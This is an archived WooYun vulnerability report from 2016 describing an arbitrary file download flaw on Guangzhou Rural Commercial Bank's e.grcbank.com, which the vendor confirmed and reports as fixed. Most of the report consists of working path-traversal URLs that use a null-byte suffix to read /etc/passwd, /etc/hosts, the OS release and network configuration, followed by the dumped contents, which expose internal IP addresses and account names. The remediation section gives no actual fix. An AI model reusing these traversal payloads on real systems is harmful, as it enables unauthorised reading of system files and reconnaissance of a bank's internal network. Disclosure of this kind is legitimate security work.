当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187149

漏洞标题:广州农商银行任意文件下载

相关厂商:广州农商银行

漏洞作者: 小菜果子

提交时间:2016-03-20 22:59

修复时间:2016-05-06 09:49

公开时间:2016-05-06 09:49

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-20: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-04-01: 细节向核心白帽子及相关领域专家公开
2016-04-11: 细节向普通白帽子公开
2016-04-21: 细节向实习白帽子公开
2016-05-06: 细节向公众公开

简要描述:

任意文件下载

详细说明:

网卡配置信息

https://e.grcbank.com//dl/app/download.do?fn=../../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth0%00.0apk


DEVICE=eth0
TYPE=Ethernet
ONBOOT=yes
NM_CONTROLLED=no
BOOTPROTO=none
IPADDR=10.2.12.33
GATEWAY=10.2.12.254
NETMASK=255.255.255.0
DNS1=10.0.19.1
DNS2=10.0.19.2


系统版本信息

https://e.grcbank.com//dl/app/download.do?fn=../../../../../../../../../../etc/issue%00.0apk


CentOS release 6.6 (Final)
Kernel \r on an \m


hosts 文件

https://e.grcbank.com//dl/app/download.do?fn=../../../../../../../../../../etc/hosts%00.0apk


127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.2.12.33 localhost
192.168.152.45 msg.cmbchinaucs.com
10.2.12.33 APP1233


这个 不用说了吧

https://e.grcbank.com//dl/app/download.do?fn=../../../../../../../../../../etc/passwd%00.0apk


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/false
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/bin/false
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
operator:x:11:0:operator:/root:/bin/false
games:x:12:100:games:/usr/games:/bin/false
gopher:x:13:30:gopher:/var/gopher:/bin/false
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/bin/false
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
ucsmy:x:500:500::/home/ucsmy:/bin/bash
nginx:x:501:501::/usr/local/nginx:/sbin/nologin
mysql:x:306:306::/home/mysql:/bin/bash
nagios:x:502:502::/usr/local/nagios:/bin/bash
webadmin:x:503:503::/usr/local/webadmin:/bin/bash
zabbix:x:522:522::/home/zabbix:/bin/bash
splunk:x:523:524::/home/splunk:/bin/bash
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ro_l_deid01:x:525:526::/home/ro_l_deid01:/bin/bash
ro_l_deid02:x:526:527::/home/ro_l_deid02:/bin/bash
ro_l_deid03:x:527:528::/home/ro_l_deid03:/bin/bash
ro_l_deid04:x:528:529::/home/ro_l_deid04:/bin/bash
ro_l_deid05:x:529:530::/home/ro_l_deid05:/bin/bash


漏洞证明:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/false
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/bin/false
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
operator:x:11:0:operator:/root:/bin/false
games:x:12:100:games:/usr/games:/bin/false
gopher:x:13:30:gopher:/var/gopher:/bin/false
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/bin/false
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
ucsmy:x:500:500::/home/ucsmy:/bin/bash
nginx:x:501:501::/usr/local/nginx:/sbin/nologin
mysql:x:306:306::/home/mysql:/bin/bash
nagios:x:502:502::/usr/local/nagios:/bin/bash
webadmin:x:503:503::/usr/local/webadmin:/bin/bash
zabbix:x:522:522::/home/zabbix:/bin/bash
splunk:x:523:524::/home/splunk:/bin/bash
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ro_l_deid01:x:525:526::/home/ro_l_deid01:/bin/bash
ro_l_deid02:x:526:527::/home/ro_l_deid02:/bin/bash
ro_l_deid03:x:527:528::/home/ro_l_deid03:/bin/bash
ro_l_deid04:x:528:529::/home/ro_l_deid04:/bin/bash
ro_l_deid05:x:529:530::/home/ro_l_deid05:/bin/bash


CentOS release 6.6 (Final)
Kernel \r on an \m


127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.2.12.33 localhost
192.168.152.45 msg.cmbchinaucs.com
10.2.12.33 APP1233


DEVICE=eth0
TYPE=Ethernet
ONBOOT=yes
NM_CONTROLLED=no
BOOTPROTO=none
IPADDR=10.2.12.33
GATEWAY=10.2.12.254
NETMASK=255.255.255.0
DNS1=10.0.19.1
DNS2=10.0.19.2

修复方案:

你懂得

版权声明:转载请注明来源 小菜果子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-03-22 09:49

厂商回复:

联系相关网站的厂商进行修复。

最新状态:

2016-03-24:已修复。